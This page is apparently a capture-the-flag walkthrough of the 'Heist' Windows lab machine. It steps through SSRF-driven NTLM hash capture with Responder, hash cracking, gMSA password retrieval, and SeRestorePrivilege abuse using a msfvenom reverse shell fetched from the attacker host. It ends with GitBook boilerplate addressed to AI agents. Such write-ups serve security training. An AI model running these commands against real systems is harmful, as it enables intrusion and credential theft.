> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/try-harder/heist.md). # Heist ### Enumeration ``` 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8080/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.0) | http-methods: |_ Supported Methods: HEAD OPTIONS GET |_http-title: Super Secure Web Browser ``` - **SSRF** ``` # cd /usr/share/responder # python3 Responder.py -I tun0 --lm -v ``` **** ``` [HTTP] Sending NTLM authentication request to 192.168.147.165 [HTTP] GET request from: 192.168.147.165 URL: / [HTTP] Host : 192.168.49.147 [HTTP] NTLMv2 Client : 192.168.147.165 [HTTP] NTLMv2 Username : HEIST\enox [HTTP] NTLMv2 Hash : enox::HEIST:[REDACTED] ``` NTLMv2 Hash -> hash.txt ``` $ john hash.txt [REDACTED] (enox) ``` ### Initial Access ``` $ evil-winrm -u enox -p [REDACTED] -i 192.168.147.165 ``` ### Lateral Movement ``` *Evil-WinRM* PS C:\Users\enox\Desktop> type todo.txt - Setup Flask Application for Secure Browser [DONE] - Use group managed service account for apache [DONE] - Migrate to apache ``` svc\_apache$ -> managed service account ``` *Evil-WinRM* PS C:\USers> net user enox Global Group memberships *Web Admins *Domain Users ``` > Enox account in the Web Admins group. May be, we have some power over the Apache account. > > Group Managed Service Accounts (GMSA) > > Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential. > > These service accounts are given automatically-generated passwords. Given certain permissions, it is possible to retrieve these password hashes from Active Directory. To see what users or groups have permissions to do that for a given service account, we can look up the PrincipalsAllowedToRetrieveManagedPassword user property on the account. ``` *Evil-WinRM* PS C:\Users\enox\Desktop> upload GMSAPasswordReader.exe *Evil-WinRM* PS C:\USers\enox\Documents> ./GMSAPasswordReader.exe --accountname svc_apache Calculating hashes for Old Value [*] Input username : svc_apache$ [*] Input domain : HEIST.OFFSEC [*] Salt : HEIST.OFFSECsvc_apache$ [*] rc4_hmac : [REDACTED] [*] aes128_cts_hmac_sha1 : [REDACTED] [*] aes256_cts_hmac_sha1 : [REDACTED] [*] des_cbc_md5 : [REDACTED] Calculating hashes for Current Value [*] Input username : svc_apache$ [*] Input domain : HEIST.OFFSEC [*] Salt : HEIST.OFFSECsvc_apache$ [*] rc4_hmac : [REDACTED] [*] aes128_cts_hmac_sha1 : [REDACTED] [*] aes256_cts_hmac_sha1 : [REDACTED] [*] des_cbc_md5 : [REDACTED] ``` Current Value -> rc4\_hmac ``` $ evil-winrm -u 'svc_apache$' -H [REDACTED]-i 192.168.147.165 ``` ### PrivEsc SeRestorePrivilege - Enabled ``` *Evil-WinRM* PS C:\Users\svc_apache$\Documents> Invoke-WebRequest -Uri http://192.168.49.147/SeRestoreAbuse.exe -OutFile SeRestoreAbuse.exe ``` ``` $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.147 LPORT=80 -f exe -o shell.exe ``` ``` *Evil-WinRM* PS C:\Users\svc_apache$\Documents> Invoke-WebRequest -Uri http://192.168.49.147/shell.exe -OutFile shell.exe *Evil-WinRM* PS C:\Users\svc_apache$\Documents> .\SeRestoreAbuse.exe "cmd /c \Users\svc_apache$\Documents\shell.exe" ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/try-harder/heist.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.